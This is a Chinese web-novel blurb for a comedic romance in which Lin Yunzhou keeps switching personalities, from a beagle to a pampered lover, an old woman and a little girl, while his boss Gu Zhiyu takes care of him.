第一天,林云州在办公室突然趴在地上,大喊:比格大王来喽!werwerwer 顾知聿:? 然后他眼睁睁看着林云州跟他回家拆完沙发拆卧室,一不满意就werwerwer, 手忙脚乱的制止要解开裤子在他拖鞋里窝屎的陆清宴回过头就看到了扫地机器人的尸体…… 过几天,林云州又变成了他养的金丝雀,对着镜子顾影自怜:“好赌的爸生病的妈,未成年的妹妹,破碎的他,幸好顾总你把我带回家。” 顾知聿:…… 又过几天,林云州睁开眼就看到他的“小金丝雀”坐在床头抱紧自己,泫然欲泣:“我们认识吗?我虽独身,在此也 住多年,常言道,寡妇门前是非多,好事不出门,坏事传千里 所以只能身居茅屋,眼观全球 脚踩污泥,胸怀天下,我说的对么?。” 顾知聿:………… 再醒来,林云州是个扎着双马尾的小女孩,抱着他的腿要举高高。 顾知聿:……………… 直到某天,顾知聿看到林云州西装革履,正常,太正常了! 顾知聿还没来得及松口气, 就见到林云州冲他微微一笑:“你好啊,我是人民的好企业家,顾知聿。” 顾知聿看着眼前这个和自己一模一样的笑容,陷入了沉思。 作为罪魁祸首——顾知聿养了五年的比格犬无辜地摇了摇尾巴。 别人谈恋爱:约会、吃饭、看电影。 顾知聿谈恋爱:给老太太捶背、给小女孩扎辫子、娇宠作精金丝雀、和自己抢自己。 别人追妻:送花送包送钻戒。 顾知聿追妻:遛狗、织毛衣、陪看动画片、自我攻略一百遍。 再后来,林云州痊愈的那天。 顾知聿把人堵在墙角,眼底是压抑了太久的情绪: “陆秘书,这几个月我伺候了你那么多人格,是不是该轮到——” “你伺候一下我了?”《 》